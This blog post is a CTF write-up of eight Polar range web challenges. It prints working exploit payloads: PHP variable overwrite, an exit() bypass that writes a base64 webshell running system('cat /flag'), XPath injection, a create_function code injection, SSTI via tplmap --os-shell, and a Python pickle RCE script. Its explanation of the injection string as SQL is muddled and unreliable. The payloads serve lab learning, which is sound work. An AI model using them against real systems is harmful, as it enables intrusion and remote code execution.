Polar靶场-Web中等题目记录(1-8)

到底给不给flag呢

image

代码逻辑分析

1.退出条件 :必须传入GET或POST的 flag 参数(否则退出),且参数值不能是 flag (否则退出)。

2.变量覆盖 :

  • POST参数会将键作为变量名,值作为变量值(如 POST a=123 → $a=123 )。
  • GET参数会将键作为变量名,值作为另一个变量的值(如 GET b=c → $b=$c )。

绕过思路

  通过构造特定的POST和GET参数,使得 $flag 变量不被覆盖,从而输出原始flag值。具体步骤如下:

Get 提交:?a=flag&flag=a

image

flag在网站源代码中

image

写shell

image

绕过exit()限制的思路

  由于文件开头是 <?php exit(); ,直接访问 shell.php 时PHP解释器会先执行 exit() ,导致后续代码不运行。但可以通过以下方式绕过:

  • 截断 exit() 语句 :利用PHP的短标签或编码绕过。例如,若服务器开启了 short_open_tag ,可提交 content=?> ,最终文件内容为:

?filename=php://filter/string.strip_tags|convert.base64-decode/resource=111.php

        此时 ?> 会闭合前面的 <?php ,后续 <?php 会被正常解析。

  • 上传非PHP文件 :若目标允许上传图片等其他类型文件,可将恶意代码写入图片,结合文件包含漏洞(如 include() )执行。
    POST data为
content=?>PD9waHAgZWNobyhzeXN0ZW0oJ2NhdCAvZmxhZycpKTs=content
base64加密为:<?php echo(system('cat /flag'));

image

image

注入

通过点击发现id参数,但是通过测试,存在过滤

image

参考钮祜禄氏小炸毛大佬文章(https://blog.csdn.net/2301_82086776/article/details/148369880),学到一种绕过方法

?id=']|//*|//*['

image

输入 ']|//|//[' 是一种针对未过滤输入的SQL注入payload,其绕过原理核心在于通过特殊字符破坏SQL语句的原有结构,使数据库执行非预期逻辑。以下是具体拆解与原理分析:

输入字符的关键组成部分

输入']|//|//['可拆分为']、|、//、/等关键片段,每个片段在注入中承担不同功能:

(1) ']:闭合引号,破坏语句结构

假设原始SQL语句为:

SELECT * FROM users WHERE username = '用户输入' AND password = 'xxx'

当用户输入包含']时,拼接后的语句变为:

SELECT * FROM users WHERE username = '' ]|//*|//*[' AND password = 'xxx'

这里的']会闭合前面的单引号('),导致WHERE子句的条件变为username = ''(空字符串),后续的]成为未闭合的符号,破坏语句的语法结构。

(2) |:逻辑或/按位或运算符(视数据库而定)

在部分数据库(如SQL Server)中,|是按位或运算符;但在注入场景中,可能被利用为逻辑或(OR)。例如,若数据库将|解析为逻辑或,则拼接后的语句可能变为:

SELECT * FROM users WHERE username = '' OR 1=1 /* ...

此时OR 1=1构造恒真条件,使查询返回所有用户(绕过密码验证)。

(3) //与/:注释符,忽略后续代码

/是SQL的块注释符(从//之间的内容被忽略),//是行注释符(部分数据库如MySQL支持)。输入中的//和/*可能组合成注释,例如:

SELECT * FROM users WHERE username = '' ]| 1=1 /* ...

注释符会忽略/*之后的所有内容(如原语句的AND password = 'xxx'),使数据库仅执行SELECT * FROM users WHERE username = '' ]| 1=1。

某函数的复仇

image

分析限制条件

1.$shaw的限制

  • 空函数,无限制

2.$root的限制

  • $root不能包含危险命令或字符(如rm、cat、|等)。

  • 这意味着我们不能直接通过$root执行命令。

第一个参数为空的函数,可以使用create_function注入

?root=;}system('more /f*');/*
shaw=create_function

image

XXE

查看页面,得到信息flag在flagggg.php中,以及可以查看网站php info文件

image

没有其他思路,扫描网站,发现dom.php

image

这个警告信息表明在 /var/www/html/dom.php 文件的第 5 行, DOMDocument::loadXML() 方法接收到了一个空字符串作为输入。 DOMDocument::loadXML() 方法用于加载 XML 数据,如果传入的字符串为空,就会触发这个警告

image

尝试使用此界面构造xxe,获取flag

image

image

SSTI

根据题目提示,对name参数进行传参

image

发现为ssti模板,参考文章链接(https://cloud.tencent.com/developer/article/2130787)

image

使用tplmap-0.5工具进行注入

image

使用--os-shell命令,获取flag

image

unpickle

image

查看附件

image

存在 反序列化漏洞 : pickle.loads() 直接反序列化用户可控的Cookie数据。可构造恶意Base64编码的pickle数据(如包含执行系统命令的代码),通过Cookie传入后,服务器会执行任意代码(RCE)。
编写python脚本


import pickle
import base64

# 通用载荷(兼容 Python 2/3,无 os 模块依赖)
class RCE:
    def __reduce__(self):
        return (__import__('builtins').eval, ("open('/flag').read()",))

payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(payload)

image

BlackMagic

根据题目提示,访问/BlackMagic.php

查看网站源代码

image

编写PHP脚本

<?php
// 定义要去除的空白字符(与题目一致)
$strCharList = "\r\n\0\x0B ";
// 原始 flag(包含首尾空白字符,中间为占位符)
$strFlag = "\r     xxxxx...xxxxx     \n";
// 去除首尾空白字符
$strContent = trim($strFlag, $strCharList);
// 输出 URL 编码结果(用于构造 GET/POST 参数)
echo urlencode($strContent);
?>

image

提交获取flag

image

posted @ 2025-07-03 22:44  Ktcc5  阅读(78)  评论(0)    收藏  举报